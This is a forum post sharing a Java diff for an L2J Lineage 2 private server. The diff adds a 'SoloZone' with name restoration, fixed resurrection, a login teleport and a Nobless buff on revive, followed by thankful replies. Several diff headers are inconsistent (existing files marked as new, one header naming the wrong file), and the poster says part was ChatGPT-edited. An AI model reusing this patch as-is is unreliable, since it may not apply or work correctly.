LoginServerThread.getInstance().setServerType(ServerType.DOWN); _secondsShut--; Thread.sleep(1000); } } catch (InterruptedException e) { } } + // This method restores the real names of players in SoloZone + private static void restoreRealNamesInSoloZone() + { + for (Player player : World.getInstance().getPlayers()) + { + // Check if player is inside the SoloZone + if (player.isInsideZone(ZoneId.SOLO)) + { + // Restore the real name by removing the fake name + if (player.getFakeName() != null) + { + player.setFakeName(null); // Restore the real name + LOGGER.info("Player {}'s fake name has been removed and real name restored.", player.getName()); + } + } + } + } private static void sendServerQuit(int seconds) { World.toAllOnlinePlayers(SystemMessage.getSystemMessage(SystemMessageId.THE_SERVER_WILL_BE_COMING_DOWN_IN_S1_SECONDS).addNumber(seconds)); } diff --git a/java/net/sf/l2j/gameserver/enums/ZoneId.java b/java/net/sf/l2j/gameserver/enums/ZoneId.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/enums/ZoneId.java public enum ZoneId { PVP(0), PEACE(1), SIEGE(2), MOTHER_TREE(3), CLAN_HALL(4), NO_LANDING(5), WATER(6), JAIL(7), MONSTER_TRACK(8), CASTLE(9), SWAMP(10), NO_SUMMON_FRIEND(11), NO_STORE(12), TOWN(13), HQ(14), DANGER_AREA(15), CAST_ON_ARTIFACT(16), NO_RESTART(17), SCRIPT(18), - BOSS(19), + BOSS(19), + SOLO(20); private final int _id; private ZoneId(int id) { _id = id; } diff --git a/java/net/sf/l2j/gameserver/network/serverpackets/Die.java b/java/net/sf/l2j/gameserver/network/serverpackets/Die.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/serverpackets/Die.java if (creature instanceof Player) { Player player = (Player) creature; - _allowFixedRes = player.getAccessLevel().allowFixedRes(); + _allowFixedRes = player.getAccessLevel().allowFixedRes() || player.isInsideZone(ZoneId.SOLO); _clan = player.getClan(); } diff --git a/java/net/sf/l2j/gameserver/model/actor/Player.java b/java/net/sf/l2j/gameserver//model/actor/Player.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/EnterWorld.java // Attacker or spectator logging into a siege zone will be ported at town. if (player.isInsideZone(ZoneId.SIEGE) && player.getSiegeState() < 2) player.teleportTo(TeleportType.TOWN); + if (player.isInsideZone(ZoneId.SOLO)) + { + ThreadPool.schedule(() -> { + Location exitLocation = VoiceExitSoloZone.getExitLocation(); + + if (exitLocation != null) + { + player.teleportTo(exitLocation.getX(), exitLocation.getY(), exitLocation.getZ(), 0); + player.sendMessage("You have been moved to the exit of the SoloZone."); + } + }, 5000); // 5000 milliseconds (5sec) + } diff --git a/java/net/sf/l2j/gameserver/model/actor/Player.java b/java/net/sf/l2j/gameserver/model/actor/Player.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/model/actor/Player.java @Override public void doRevive() { super.doRevive(); stopEffects(EffectType.CHARM_OF_COURAGE); sendPacket(new EtcStatusUpdate(this)); getStatus().setCpHpMp(getStatus().getMaxCp(), getStatus().getMaxHp(), getStatus().getMaxMp()); _reviveRequested = 0; _revivePower = 0; if (isMounted()) startFeed(_mountNpcId); + if (isInsideZone(ZoneId.SOLO)) + { + // Give Nobless (1323 ID) + L2Skill no = SkillTable.getInstance().getInfo(1323, 1); + no.getEffects(this, this); + sendMessage("You have received the Nobless status in the Solo Zone."); + } + }   If anyone thinks the code is wrong, please make an update and upload it here so I can update the post. A part was edited with chatgpt
    • Always remember, when you buy files, just compare with my files that I publish for free. and you will know that you are being ripped off. Greetings to all community!!! 🙂
    • Thank you for sharing. You are a capable and skilled person. Thank you again for your selfless dedication, Guytis🫡
    • he kept his promise! i think it's a good idea to unban his old account. he shares files with the community and could help both new and veteran l2off users! good job, Guytis!
  • Topics

×
×
  • Create New...